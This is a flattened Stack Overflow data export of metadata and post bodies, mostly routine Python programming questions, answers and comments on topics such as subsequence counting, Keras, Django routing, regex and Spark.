has answer: http://stackoverflow.com/a/46989789
has body: How to find total number of possible sub sequences for a string that start with a particular character say 'a' and end with a particular character say 'b' from a given string? EXAMPLE: for a string 'aabb' if we want to know the count of how many sub sequences are possible if the sub-sequence must start from character'a' and end with character 'b' then valid sub sequences can be from (ab) contributed by index (0,2), (ab) contributed by index (0,3), (ab) contributed by index (1,2), (ab) contributed by index (1,3), (aab) using index (0,1,2) , (aab) using index (0,1,3) ,(abb) using index(0,2,3),(abb) using index(1,2,3) and aabb itself so total is 9 .I can solve this for a string of small length but how to solve this for a large string where brute force doesn't work Note:We consider two sub strings to be different if they start or end at different indices of the given string. def count(str,str1 ,str2 ): l = len(str) count=0 for i in range(0, l+1): for j in range(i+1, l+1): if str[i] == str1 and str[j-1] == str2: count+=1 return count
tagged with: algorithm
possible better answer: http://stackoverflow.com/a/46988534
has comment: http://stackoverflow.com/comment/80923807
linked to: http://stackoverflow.com/q/46830743
has comment: http://stackoverflow.com/comment/80923659
has comment: http://stackoverflow.com/comment/80924383
has comment: http://stackoverflow.com/comment/80923974
tagged with: python
has answer: http://stackoverflow.com/a/46988534
has comment: http://stackoverflow.com/comment/80923785
has comment: http://stackoverflow.com/comment/80923658
has comment: http://stackoverflow.com/comment/80923671
has comment: http://stackoverflow.com/comment/80923834
linked to: http://stackoverflow.com/q/46987669
has comment: http://stackoverflow.com/comment/80923688
score: 2

http://stackoverflow.com/comment/80843967
type: Comment
has text: Thanks! The regex did work very well and in addition I could easily modify it for a few similar problems :)
type: AnswerComment
comment on: http://stackoverflow.com/a/46914538
score: 0

http://stackoverflow.com/comment/81056750
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47053870
type: AnswerComment
has text: Got it. Thanks. Marked your answer as accepted one.

http://stackoverflow.com/comment/80954057
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47003626
has text: I can't find a link to slow.flv as told in the original tutorial. The only difference between the code here and there is not using slow.flv
score: 0

http://stackoverflow.com/q/47006652
score: 4
upvote count: 4
tagged with: image
has comment: http://stackoverflow.com/comment/80959998
has comment: http://stackoverflow.com/comment/80960054
has body: I have a lot of images that I will need to flip (on the fly) and so am looking for the fastest way possible to do this using Python. What is the most efficient way to do this? I have image files on disk and have tried to ways, shown in my own answer below, but these start with Numpy arrays and so may not be optimal. Are there better ways?
type: AnsweredQuestion
answer count: 2
has answer: http://stackoverflow.com/a/47006746
downvote count: 0
accepted answer: http://stackoverflow.com/a/47006746
has title: Python: most efficient way to mirror an image along its vertical axis
favorite count: 0
type: Question
tagged with: numpy
tagged with: opencv
has answer: http://stackoverflow.com/a/47006653
possible better answer: http://stackoverflow.com/a/47006653
has comment: http://stackoverflow.com/comment/80959971
linked to: http://stackoverflow.com/q/772124
linked to: http://stackoverflow.com/q/42190783
tagged with: python
has comment: http://stackoverflow.com/comment/80959933

http://stackoverflow.com/a/47026554
downvote count: 0
answers question: http://stackoverflow.com/q/47026335
has body: As long as the logic using the file handle returned by open(outpath, 'wb') or the csv.writer(outfile) wrapping it operates in succession rather than in parallel (i.e. is single-threaded) and the handle is properly closed after last using it and not prematurely (e.g. given a with open(outpath, 'wb') as outfile block, don't return an object out of the block which holds a reference to outfile), there should be no problems passing it to multiple objects: only one CsvReader instance is "using" it at a time in your code. However, IMHO you're making this much more complicated than it has to be; think of the single responsibility principle. Even your distinction of "reader" vs. "writer" is blurry.
score: 1
type: Answer
upvote count: 1

http://stackoverflow.com/a/47054164
answers question: http://stackoverflow.com/q/47053639
has body: If there is no db files default, you should execute those command in PyCharm terminal: python manage.py makemigrations python manage.py migrate Then you can see it.
type: Answer
score: 0

http://stackoverflow.com/comment/80832868
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/46942687
score: 0
has text: please can you elaborate?

http://stackoverflow.com/q/46980335
has comment: http://stackoverflow.com/comment/80908105
has answer: http://stackoverflow.com/a/46980636
has comment: http://stackoverflow.com/comment/80908475
type: Question
tagged with: python-3.x
has answer: http://stackoverflow.com/a/46980555
has title: Trying to return a string for each number of same characters that share the same index in two strings
has body: I wrote the following code myself (based on some instructions explained in the doc string): def find_correct(answer, guess): ''' (list, list) -&gt; list Given the answer code and a guess code, return a list containing the string 'b' for each correctly positioned colour in the guess. For example, if answer is 'YOGB' and guess is 'RTLB', ['b'] will be returned since index 3 in both is B. If answer is 'YOGB' and guess is 'YTLB', ['b','b'] will be returned since index 0 in both is Y and index 3 in both is B (ie. two 'b's in the list since two indexes match) ''' for i in range(len(guess)): if answer[i] == guess[i]: return ['b'] However this only returns one ['b'] no matter how many indexes match (unless none match in which case nothing is returned), since I just wrote return ['b']. I don't know how to make it return more than one b. I tried a few things like: return ['b'] for i in range(len(guess)): if answer[i] == guess[i] And doing return ['b'] * i But obviously none of these work for reasons I think I understand (but I thought I'd try anyway). Is there an easy way to make the code do what I want without completely re-writing the code I already wrote or should I go back to the drawing board? Maybe perhaps there is some way i could use the a.count(b) function then multiply that result by ['b']? Just an idea I've been trying to work with. Thanks!
has comment: http://stackoverflow.com/comment/80908241
tagged with: python
answer count: 4
possible better answer: http://stackoverflow.com/a/46980491
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/46980491
has answer: http://stackoverflow.com/a/46980430
accepted answer: http://stackoverflow.com/a/46980430

http://stackoverflow.com/comment/80808452
type: AnswerComment
comment on: http://stackoverflow.com/a/46929738
has text: I don't think that was the question. i think the question was how to iterate over "raw_pkt" with steps defined in another list. - I might be wrong tho
type: Comment
score: 0

http://stackoverflow.com/comment/80986083
type: Comment
comment on: http://stackoverflow.com/q/47019602
score: 1
type: QuestionComment
has text: Also, you need to escape the backslash `\ `. Oh and to use regex, use `re.search()` instead of the `split()` function

http://stackoverflow.com/q/46988763
has comment: http://stackoverflow.com/comment/80983588
has comment: http://stackoverflow.com/comment/80935646
tagged with: python
tagged with: kivy
has title: kivy Unable to get any Image provider, abort
has body: here is my error please help..! from kivy.app import App [INFO ] [Logger ] Record log in C:\Users\Mihinomo\.kivy\logs\kivy_17-10-28_1.txt [INFO ] [Kivy ] v1.10.0 [INFO ] [Python ] v3.4.4 (v3.4.4:737efcadf5a6, Dec 20 2015, 19:28:18) [MSC v.1600 32 bit (Intel)] [INFO ] [Factory ] 194 symbols loaded [INFO ] [Image ] Providers: (img_tex, img_dds, img_sdl2, img_ffpyplayer, img_gif, img_pil ignored) [CRITICAL] [App ] Unable to get any Image provider, abort. i have installed all dependencies: pip install --upgrade pip wheel setuptools pip install docutils pygments pypiwin32 kivy.deps.sdl2 kivy.deps.glew pip install kivy.deps.gstreamer pip install kivy.deps.angle pip install kivy
type: Question
score: 0
answer count: 2
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/67981935
has answer: http://stackoverflow.com/a/47008079
has comment: http://stackoverflow.com/comment/80926495

http://stackoverflow.com/comment/81063463
has text: Sorry, I should give some scripts.
score: 0
comment on: http://stackoverflow.com/q/47049296
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47026581
type: Question
has comment: http://stackoverflow.com/comment/81000577
has comment: http://stackoverflow.com/comment/81000266
upvote count: 2
has comment: http://stackoverflow.com/comment/81000722
tagged with: python
score: -2
accepted answer: http://stackoverflow.com/a/47027390
has answer: http://stackoverflow.com/a/47027390
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81000309
downvote count: 4
tagged with: uppercase
has body: I currently have this code num_lines = int(input()) lines = [] tempy = '' ctr = 1 abc = {'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z' } for i in range(0, num_lines): tempy = input() lines.append([]) lines[i].append(tempy) for o in range(0, num_lines): for p in range(0, len(lines[o])): for u in range(0, len(lines[o][p])): if lines[o][p][u] in abc: lines = str(lines) if ctr % 2 == 0: print(lines[o][p][u]) lines[o][p][u].upper() else: print(lines[o][p][u]) lines[o][p][u].lower() ctr += 1 print(lines) but the .upper line does not seem to have effect, can anyone please tell me why? Thank you in advance, and if there is an answer already please kindly tell me that instead of marking as a duplicate cause I did search for a good hour
has title: .upper not working in python
answer count: 1
has comment: http://stackoverflow.com/comment/81000609
favorite count: 0

http://stackoverflow.com/q/46930558
type: Question
tagged with: numpy
has comment: http://stackoverflow.com/comment/80808897
has answer: http://stackoverflow.com/a/46933218
has body: I have a Siamese Keras model defined with this code: image1 = Input(shape=(128,128,3)) image2 = Input(shape=(128,128,3)) mobilenet = keras.applications.mobilenet.MobileNet( input_shape=(128,128,3), alpha=0.25, depth_multiplier=1, dropout=1e-3, include_top=False, weights='imagenet', input_tensor=None, pooling='avg') out1 = mobilenet(image1) out2 = mobilenet(image2) diff = subtract([out1, out2]) distance = Lambda(lambda x: K.sqrt(K.sum(K.square(x), axis=1)))(diff) model = Model(inputs=[image1, image2], outputs=distance) model.compile(optimizer='rmsprop', loss='hinge', metrics=['accuracy']) Summary of the model looks like this: ____________________________________________________________________________________________________ Layer (type) Output Shape Param # Connected to ==================================================================================================== input_1 (InputLayer) (None, 128, 128, 3) 0 ____________________________________________________________________________________________________ input_2 (InputLayer) (None, 128, 128, 3) 0 ____________________________________________________________________________________________________ mobilenet_0.25_128 (Model) (None, 256) 218544 input_1[0][0] input_2[0][0] ____________________________________________________________________________________________________ subtract_1 (Subtract) (None, 256) 0 mobilenet_0.25_128[1][0] mobilenet_0.25_128[2][0] ____________________________________________________________________________________________________ lambda_1 (Lambda) (None,) 0 subtract_1[0][0] ==================================================================================================== Total params: 218,544 Trainable params: 213,072 Non-trainable params: 5,472 ____________________________________________________________________________________________________ I am trying to train the model. My training routine looks like this: for i in range(1000): X1,X2,y = data_source.getTrainingBatch(10, sameProb=0.…
downvote count: 0
upvote count: 1
tagged with: keras
favorite count: 0
accepted answer: http://stackoverflow.com/a/46933218
type: AnsweredQuestion
score: 1
has title: Keras adding extra dimension to target (Error when checking target)
has comment: http://stackoverflow.com/comment/80813067
answer count: 1
tagged with: python
tagged with: tensorflow

http://stackoverflow.com/q/47038484
type: Question
has comment: http://stackoverflow.com/comment/81023823
type: UnansweredQuestion
tagged with: django
tagged with: python
has comment: http://stackoverflow.com/comment/81024001
has title: Using the URLconf defined in SchoolnSkill.urls, Django tried these URL patterns, in this order:
score: 0
answer count: 2
has body: Ok, this is a very common problem that Django people face, and there are a couple of articles already available on the internet,but none of them helps me. I do understand that I need to create my own URLPatterns in my "apps/url", and which I have created one. Below is the URLPatterns from my project"schoolnskill/url": from django.conf.urls import include, url from django.contrib import admin urlpatterns = [ url(r'^admin/', admin.site.urls), url(r'^user_info/', include('user_info.urls', namespace='user_info')), ] Below is the url patterns from my apps user_info/url from django.conf.urls import url from . import views urlpatterns = [ url(r'^user_info/index/$', views.IndexView.as_view(), name='index'), url(r'^user_info/register/$', views.RegisterView.as_view(), name='sign_up'), url(r'^register/$', views.UserFormView.as_view(), name='register'), ] I am getting error for "user_info/index" even though I have added it in my URL Patterns. Below is the whole error stack: Page not found (404) Request Method: GET Request URL: http://127.0.0.1:8000/user_info/index/ Using the URLconf defined in SchoolnSkill.urls, Django tried these URL patterns, in this order: ^admin/ ^user_info/ ^user_info/index/$ [name='index'] ^user_info/ ^user_info/register/$ [name='sign_up'] ^user_info/ ^register/$ [name='register'] The current path, user_info/index/, didn't match any of these My Python environment details: Python - 3.6 Django - 1.11.3 IDE - Spyder 3.2.4 New error after removing 'user_info' Exception Type: ImproperlyConfigured Exception Value: IndexView is missing a QuerySet. Define IndexView.model, IndexView.queryset, or override IndexView.get_queryset()
has answer: http://stackoverflow.com/a/47039216
has answer: http://stackoverflow.com/a/47038548

http://stackoverflow.com/q/47013937
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47014211
has title: One-hot vector to softmax-like distribution in tensorflow
downvote count: 0
score: 1
upvote count: 1
answer count: 1
tagged with: tensorflow
favorite count: 0
type: Question
has body: Is there a way in tensorflow to transform a one-hot vector into a softmax-like distribution? For example, I have the following one-hot vector: [0 0 0 0 1 0] I want to have a vector with probabilities where the one value is the most likely number, like: [0.1 0.1 0.1 0.1 0.5 0.1] This vector should always be random, but with the true class having the highest probability. How can I reach this?
tagged with: python

http://stackoverflow.com/a/46929895
has comment: http://stackoverflow.com/comment/80848614
has comment: http://stackoverflow.com/comment/80889082
has comment: http://stackoverflow.com/comment/80807269
upvote count: 56
has comment: http://stackoverflow.com/comment/80807416
type: Answer
accepted answer of: http://stackoverflow.com/q/46929622
has comment: http://stackoverflow.com/comment/80849142
has comment: http://stackoverflow.com/comment/80889956
has comment: http://stackoverflow.com/comment/80830401
has comment: http://stackoverflow.com/comment/80819023
has comment: http://stackoverflow.com/comment/80807232
answers question: http://stackoverflow.com/q/46929622
has comment: http://stackoverflow.com/comment/80850071
score: 55
has comment: http://stackoverflow.com/comment/80815803
has comment: http://stackoverflow.com/comment/80806943
type: AcceptedAnswer
downvote count: 1
has comment: http://stackoverflow.com/comment/80806762
has comment: http://stackoverflow.com/comment/80849975
has body: In a nutshell: because that's what the spec says. That's kind of a useful mindset to get into anyway. ;-) Now, why does the spec say so? There are only a finite number of types a function can accept as valid input. The int function tries to cover two different kinds of use cases: convert a string representation of an integer into an actual int cast a float value to an int, truncating it* The third use case, "convert the string representation of a floating point number to an int" is not covered by the spec, because the language designers decided not to cover it. Which seems like a reasonable decision to make, since they needed to draw the line somewhere on what types the function would and wouldn't accept. The string representation of a floating point number should be parsed by float, not int. * Actually: any object that has an __int__ method, but lets keep it simple. As a counter example, in PHP you can try to cast any string to an int, and it will try to give you the best match: php &gt; echo (int)'3.14'; 3 php &gt; echo (float)'3.14'; 3.14 php &gt; echo (int)'3 little pigs'; 3 php &gt; echo (int)'there are 3 little pigs'; 0 Which, quite honestly, is rather insane behaviour, especially that last one. Python has a strict(er) type system; if you're trying to parse a string as an int, it must be a perfectly valid representation of an integer number, not merely something that somewhere contains something that can be interpreted as a number.
has comment: http://stackoverflow.com/comment/80815049
has comment: http://stackoverflow.com/comment/80850490
has comment: http://stackoverflow.com/comment/80839911

http://stackoverflow.com/comment/80782734
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46916667
has text: Yes, just using a list of indices is equivalent and maybe simpler if you just need to include/exclude data. I have often wanted weights other than 1 or 0, e.g. weight > 1 to represent sampling with replacement or emphasizing some data (e.g. a class which has few examples in the data) more than others. If you don't need non-0/1 weights, you can just use a list of indices.

http://stackoverflow.com/q/47013868
favorite count: 0
type: Question
duplicate of: http://stackoverflow.com/q/370357
linked to: http://stackoverflow.com/q/9264763
has answer: http://stackoverflow.com/a/47014102
type: UnansweredQuestion
has body: Given the following code: U = [1,2,3] def test(): # global U u = U * 2 print(u) # U = u test() print(U) In this form prints(u) displays [1,2,3,1,2,3]. This means 'U' was read successfully in the function. But if I uncomment the U = u line then I receive the following error message: u = U * 2 UnboundLocalError: local variable 'U' referenced before assignment which I can only fix by uncommenting the 'global U' line. I dont understand this though. Previously u=U*2 worked just fine. Why is an error raised at u=U*2 if I uncomment a line below it? EDIT: I dont think it is duplicate. My question is why do I see an error in a line which is unmodified. In my real code there are about 100 lines between 'u=U*2' and 'U=u' and it took me couple hours ro realize that the error is actually somehow caused by the 'U=u' line.
has comment: http://stackoverflow.com/comment/80980168
tagged with: python
has title: Using variables in functions (Python)
linked to: http://stackoverflow.com/q/41369408
answer count: 1
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/80974131
score: 1
tagged with: global-variables

http://stackoverflow.com/a/46928056
type: Answer
answers question: http://stackoverflow.com/q/46926882
score: 0
has body: You could use the Parametrized formats with new style string formatting, but you still have to test whether m is empty or not by yourself. def fmt(h, m, w): return return '{}{:&gt;{wd}} {}'.format(h, m, w, wd=len(m)+1 if m else 0) &gt;&gt;&gt; fmt('hello', 'my', 'world') 'hello my world' &gt;&gt;&gt; fmt('hello', '', 'world') 'hello world'

http://stackoverflow.com/comment/133270866
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/71186211
has text: adding `pyreadline3; sys_platform == "win32"` to my requirements.txt file was great when dealing with multiple different OS.

http://stackoverflow.com/q/47019602
has comment: http://stackoverflow.com/comment/80986027
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47019797
upvote count: 0
answer count: 2
has title: List index out of range, splitting regular expression match
tagged with: python
has comment: http://stackoverflow.com/comment/80986083
accepted answer: http://stackoverflow.com/a/47019797
type: AnsweredQuestion
tagged with: python-2.7
has answer: http://stackoverflow.com/a/47019712
possible better answer: http://stackoverflow.com/a/47019712
has body: For some reason this little part of my code is giving me a problem. I have been trying to figure out why it is giving me a "list index out of range" error #This works fine, and finds a match if re.search("Manufacturer\/Distributor name:?", arg) != None: #----&gt;This is giving me the problem, "List index out of range"&lt;---- address = arg.split("Manufacturer\/Distributor name:?", 1)[1] This is the arg I'm feeding it: Product Name: Tio Nacho Shampoo Mexican Herbs Recommended Use: Shampoo Manufacturer/Distributor name: Garcoa Laboratories, Inc. 26135 Mureau Road Calabasas, CA 91302 (818) 225 - 0375 Emerg ency telephone number: CHEMTREC 1 - 800 - 424 - 9300 2 . When I have it set to [1], this is the result: List index out of range When I have the split set to [0], this is the result: /Distributor name: Garcoa Laboratories, Inc. 26135 Mureau Road Calabasas, CA 91302 (818) 225 - 0375 Emerg ency telephone number: CHEMTREC 1 - 800 - 424 - 9300 2 . I'm trying to get this result: Garcoa Laboratories, Inc. 26135 Mureau Road Calabasas, CA 91302 (818) 225 - 0375 Emerg ency telephone number: CHEMTREC 1 - 800 - 424 - 9300 2 . Its matching to it, but the split for some reason doesn't want to work. What am I missing? Why does it give that result for [0] Thanks for the help!
downvote count: 1
score: -1
tagged with: regex

http://stackoverflow.com/q/46997380
upvote count: 1
tagged with: python
tagged with: request
accepted answer: http://stackoverflow.com/a/47178530
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47178530
tagged with: cookies
score: -1
has comment: http://stackoverflow.com/comment/81259965
tagged with: response
favorite count: 0
type: Question
possible better answer: http://stackoverflow.com/a/47156560
answer count: 2
has answer: http://stackoverflow.com/a/47156560
downvote count: 2
has body: I want to get an api key automatically with python code. Here is what I do by hand to get the api key. By hand: Open https://www.alphavantage.co in firefox click Get your Free API Key Today input first_name last_name email click the get free api key. 2.By code. import urllib.request, urllib.parse, urllib.error import http.cookiejar LOGIN_URL = 'https://www.alphavantage.co/support/#api-key' params = { "first": "xx", "last": "yy", "occupation": "investor", "email":"zz@qq.com" } headers = { "Accept-Language":"en-US,en;q=0.8", "Connection":"keep-alive", "Content-Length":"77", "Content-Type":"application/x-www-form-urlencoded; charset=UTF-8", "Cookie":"csrftoken=qTbVt3HN2VYiDbJgX1n9DdyaDUYKpMyJ1UvTE3xCplYZcAYk9OQaXJ1F6ACadcjA; _ga=GA1.2.1054357644.1509295038; _gid=GA1.2.1986003924.1509295038; _gat=1", "Host":"www.alphavantage.co", "Origin:https":"//www.alphavantage.co", "Referer:https":"//www.alphavantage.co/support/", "User-Agent":"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36", "X-CSRFToken":"l7RRVpYomq6fIvjAnuYJiR0xquqoeD5gXrlowpQqejCCKX65OUrUcZzw2ljf9SPB", "X-Requested-With":"XMLHttpRequest" } postdata = urllib.parse.urlencode(params).encode() user_agent = r'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36' cookie = http.cookiejar.MozillaCookieJar() handler = urllib.request.HTTPCookieProcessor(cookie) opener = urllib.request.build_opener(handler) request = urllib.request.Request(LOGIN_URL, postdata, headers) response = opener.open(request) An error info: raise HTTPError(req.full_url, code, msg, hdrs, fp) urllib.error.HTTPError: HTTP Error 499: Client Disconnected The cookie in headers is a request cookie, created in step1.2. How do I get the api key with python code instead of by hand? target website
has title: How to set the request cookie when to post form with python3?

http://stackoverflow.com/a/47033943
type: Answer
has body: Yes, you can delete one and create new env on the other server. Just make sure you have list of dependencies. You can create this list by activating your environment and typing: pip freeze &gt; requirements.txt Later on, if you want to install those dependencies just activate new env and type pip install -r requirements.txt All libraries will be installed with proper version. Example output of the pip freeze command: pip freeze adium-theme-ubuntu==0.3.4 ansible==2.4.0.0 backports.ssl-match-hostname==3.5.0.1 certifi==2017.4.17 cffi==1.9.1 chardet==3.0.4 checksumdir==1.1.4 click==6.7 cryptography==1.7.1
answers question: http://stackoverflow.com/q/47033878
score: 1
accepted answer of: http://stackoverflow.com/q/47033878
type: AcceptedAnswer
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/81014106

http://stackoverflow.com/comment/80859176
type: QuestionComment
comment on: http://stackoverflow.com/q/46955965
type: Comment
has text: What is the output
score: 0

http://stackoverflow.com/comment/80943525
comment on: http://stackoverflow.com/q/46997714
type: Comment
score: 0
type: QuestionComment
has text: You can check for the module loading path on the Python prompt: `>>> import sys` followed by `>>> sys.path`. See if the resulting list contains your directories.

http://stackoverflow.com/a/46947001
type: Answer
has body: Simple approach: output = '&amp;'.join(s.replace('&amp;', ' ') for s in a.split('&amp;', 1))
accepted answer of: http://stackoverflow.com/q/46946923
upvote count: 4
type: AcceptedAnswer
score: 4
answers question: http://stackoverflow.com/q/46946923
downvote count: 0

http://stackoverflow.com/comment/80942713
type: Comment
type: QuestionComment
has text: Where is the notebook running? Python isn't lying to you. You've accessed a path relative to where you started Jupyter
comment on: http://stackoverflow.com/q/46998062
score: 1

http://stackoverflow.com/a/46979487
type: Answer
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/46979470
has body: Just use re.sub: import re str = ["HeLlo!!!,","H%I"] final_str = [re.sub('\W+', '', i) for i in str] Output: ['HeLlo', 'HI']
score: 1

http://stackoverflow.com/q/47016943
has answer: http://stackoverflow.com/a/47017544
tagged with: sentiment-analysis
downvote count: 0
tagged with: twitter
has body: I get the following error when trying to execute the code below. How can I solve it? Traceback (most recent call last): File "C:\Users\vaio\Desktop\coding\Twitter-Sentiment-Analysis-master\Twitter-Sentiment-Analysis-master\tweet_sentiment.py", line 64, in main() File "C:\Users\vaio\Desktop\coding\Twitter-Sentiment-Analysis-master\Twitter-Sentiment-Analysis-master\tweet_sentiment.py", line 53, in main sent_file = open(sys.argv[1]) IndexError: list index out of range [Finished in 0.1s with exit code 1] import sys import json import ast import re def calcScoreFromTerm(termScoreFile): # returns a dictionary with term-score values scores ={} for line in termScoreFile: term, score = line.split("\t") scores[term] = float(score) return scores def getTweetText(tweet_file): #returns a list of all tweets tweets = [] for line in tweet_file: # print line jsondata = json.loads(line) if "text" in jsondata.keys(): tweets.append(jsondata["text"]) tweet_file.close() return tweets def filterTweet(et): # Remove punctuations and non-alphanumeric chars from each tweet string pattern = re.compile('[^A-Za-z0-9]+') et = pattern.sub(' ', et) #print encoded_tweet words = et.split() # Filter unnecessary words for w in words: if w.startswith("RT") or w.startswith("www") or w.startswith("http"): words.remove(w) return words def getTweetSentiments(tweets, scores): #returns a list of sentiments sentiments = [] for tweet in tweets: sentiment = 0.0 tweet = tweet.encode('utf-8') wordsInTweet = filterTweet(tweet) # re.split('\W+',tweet) for eachWord in wordsInTweet: if eachWord in scores: sentiment += scores[eachWord] sentiments.append(sentiment) return sentiments def main(): sent_file = open(sys.argv[1]) tweet_file = open(sys.argv[2]) scores = calcScoreFromTerm(sent_file) tweets = getTweetText(tweet_file) sentiments = getTweetSentiments(tweets, scores) for sentiment in sentiments: print sentiment if __name__ == '__main__': main()
tagged with: geocoding
score: 1
favorite count: 0
type: Question
has title: Python Twitter sentiment analysis error
upvote count: 1
tagged with: python
type: UnansweredQuestion
answer count: 1
tagged with: nlp

http://stackoverflow.com/comment/80941613
has text: I was trying with gridsearchcv but it takes lot of time to fit.Can you suggest me which feature extraction method should i use @VivekKumar
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46990350
score: 0

http://stackoverflow.com/q/47048483
has title: Compare Dictionary key and value
tagged with: python
tagged with: dictionary
has comment: http://stackoverflow.com/comment/81044370
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81045458
upvote count: 0
has answer: http://stackoverflow.com/a/47048731
accepted answer: http://stackoverflow.com/a/47048731
downvote count: 2
answer count: 1
has body: is there any way in python to compare a key and value in the same dictionary?? {A[0]: u , u: A[3]} can I compare the value of A[0] to u (key)??
favorite count: 0
type: Question
tagged with: python-3.x
score: -2

http://stackoverflow.com/comment/81022412
type: QuestionComment
has text: "If I give the function the nested key i know , it would give me the dictionary nested within it?". Yes. However, `find_key` is designed to handle structures that may have the same key at several places, so it creates an iterator of all the solutions. When you loop over that iterator each loop gives you a list of keys / indices as well as the associated value.
comment on: http://stackoverflow.com/q/47037281
score: 0
type: Comment

http://stackoverflow.com/q/46991611
type: AnsweredQuestion
score: 0
has body: Appreciate if someone can shed some light on below code snippet issue lineStr= sc.textFile("/input/words.txt") print (lineStr.collect()) ['this file is created to count the no of texts', 'other wise i am just doing fine', 'lets see the output is there'] wc = lineStr.flatMap(lambda l: l.split(" ")).map(lambda x: (x,1)).reduceByKey(lambda w,c: w+c) print (wc.glom().collect()) [[('this', 1), ('there', 1), ('i', 1), ('texts', 1), ('just', 1), ('fine', 1), ('is', 2), ('other', 1), ('created', 1), ('count', 1), ('of', 1), ('am', 1), ('no', 1), ('output', 1)], [('lets', 1), ('see', 1), ('the', 2), ('file', 1), ('doing', 1), ('wise', 1), ('to', 1)]] Now when i am trying to filter the above data set for count values more than 1 using below, i am getting error s = wc.filter(lambda a,b:b&gt;1) print (s.collect()) error : vs = list(itertools.islice(iterator, batch)) TypeError: () missing 1 required positional argument: 'b'
tagged with: filter
tagged with: apache-spark
has answer: http://stackoverflow.com/a/46991675
tagged with: python
has title: spark + python + filter issue
accepted answer: http://stackoverflow.com/a/46991675
answer count: 1
type: Question
tagged with: word-count

http://stackoverflow.com/q/46985412
type: AnsweredQuestion
score: 0
has body: Given two arrays, a = ([1,2,3]) b = ([1,3, 2]) is there an elegant way to check if any element at position i in a matches position i in b? I know it's easy enough to loop through: for i in range(len(a)): for j in range(len(b)): if a[i] == b[j]: print("There is a match") But I am interested in more elegant or faster methods. Thank you!
tagged with: python
accepted answer: http://stackoverflow.com/a/46985450
tagged with: numpy
has answer: http://stackoverflow.com/a/46985450
has title: Check if each element in a numpy array at its given position matches another element at the same position in a different array
answer count: 1
type: Question

http://stackoverflow.com/comment/80816464
type: QuestionComment
has text: @dataprincess may I check what is makeup, thanks and I check the length already, they are the same..
comment on: http://stackoverflow.com/q/46927576
score: 0
type: Comment

http://stackoverflow.com/a/46966002
type: AcceptedAnswer
downvote count: 0
upvote count: 1
has body: This should work for you: def assignCard(person): x = random.randint(0, 53) while True: y = random.randint(0, 53) if x != y: break if person == PLAYER: cardLoc[x] = 1 elif person == COMP: cardLoc[y] = 2 main() It will keep reassigning y until x and y aren't equal.
accepted answer of: http://stackoverflow.com/q/46965933
type: Answer
answers question: http://stackoverflow.com/q/46965933
score: 1

http://stackoverflow.com/a/47001428
accepted answer of: http://stackoverflow.com/q/47001404
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/47001404
has body: itertools.product has such parameter: repeat. So no need to invent it yourself, you can simply write: from itertools import product for i in product(iter, repeat=3): print i For example: &gt;&gt;&gt; from itertools import product &gt;&gt;&gt; &gt;&gt;&gt; iter = "qux" &gt;&gt;&gt; &gt;&gt;&gt; for i in product(iter, repeat=3): ... print i ... ('q', 'q', 'q') ('q', 'q', 'u') ('q', 'q', 'x') ('q', 'u', 'q') ('q', 'u', 'u') ('q', 'u', 'x') ('q', 'x', 'q') ('q', 'x', 'u') ('q', 'x', 'x') ('u', 'q', 'q') ('u', 'q', 'u') ('u', 'q', 'x') ('u', 'u', 'q') ('u', 'u', 'u') ('u', 'u', 'x') ('u', 'x', 'q') ('u', 'x', 'u') ('u', 'x', 'x') ('x', 'q', 'q') ('x', 'q', 'u') ('x', 'q', 'x') ('x', 'u', 'q') ('x', 'u', 'u') ('x', 'u', 'x') ('x', 'x', 'q') ('x', 'x', 'u') ('x', 'x', 'x')
score: 5
upvote count: 5
type: Answer

http://stackoverflow.com/q/47016453
tagged with: python
tagged with: epsg
tagged with: coordinate-transformation
upvote count: 1
score: 1
has title: How to change tif file crs
favorite count: 0
type: Question
has body: Hi I am wondering how to change the tif file crs as I want to overlay one my shapefiles (called imd) onto the tif file, if I do not change the coordinate, they can not be merged. Here is the code: import rasterio src = rasterio.open('M:/lab3/man22.tif') left, bottom, right, top = src.bounds f, ax = plt.subplots(1, figsize=(6, 6)) ax.imshow(src.read(1), cmap='gray', extent=(left, right, bottom, top)) imd.plot(column='imd_score', cmap='Purples', linewidth=0.1, alpha=0.75,ax=ax) The man22.tif file's CRS is: epsg=3857, and the imd.shp is 27700. Thank you so much for helping
answer count: 0
downvote count: 0
has comment: http://stackoverflow.com/comment/80982722
type: UnansweredQuestion

tensorlayer
tag name: tensorlayer
type: Tag
tags question: http://stackoverflow.com/q/46918706

http://stackoverflow.com/q/46992799
type: Question
upvote count: 2
has answer: http://stackoverflow.com/a/46993159
accepted answer: http://stackoverflow.com/a/46993159
tagged with: writefile
tagged with: python
has answer: http://stackoverflow.com/a/46993036
has answer: http://stackoverflow.com/a/46992956
possible better answer: http://stackoverflow.com/a/46992956
